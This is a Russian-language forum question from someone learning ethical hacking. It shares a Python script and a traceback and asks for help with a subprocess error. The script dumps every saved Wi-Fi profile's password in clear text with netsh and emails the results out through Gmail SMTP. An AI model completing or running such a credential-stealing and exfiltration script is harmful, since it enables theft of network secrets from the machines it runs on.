Я изучаю этический взлом и пытался создать программу для отправки информации о пароле Wi-Fi на мою почту, но застрял с ошибкой подпроцесса. Вот мой код:
#! usr/bin/env python
import subprocess , smtplib,re
def send_email(email, password,message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email , message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
networks_names_list = re.findall("(?:Profile\s*:\s)(.*)",networks)
result = ""
for network_name in networks_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
result = result + current_result
send_email("abc@gmail.com","******",result)
после выполнения программы я получил следующую ошибку:
File "execute_and_report.py", line 21, in <module>
current_result = subprocess.check_output(command, shell=True)
File "C:\Python27\lib\subprocess.py", line 223, in check_output
raise CalledProcessError(retcode, cmd, output=output)
key=clear' returned non-zero exit status 1sh wlan show profile realme 3 Pro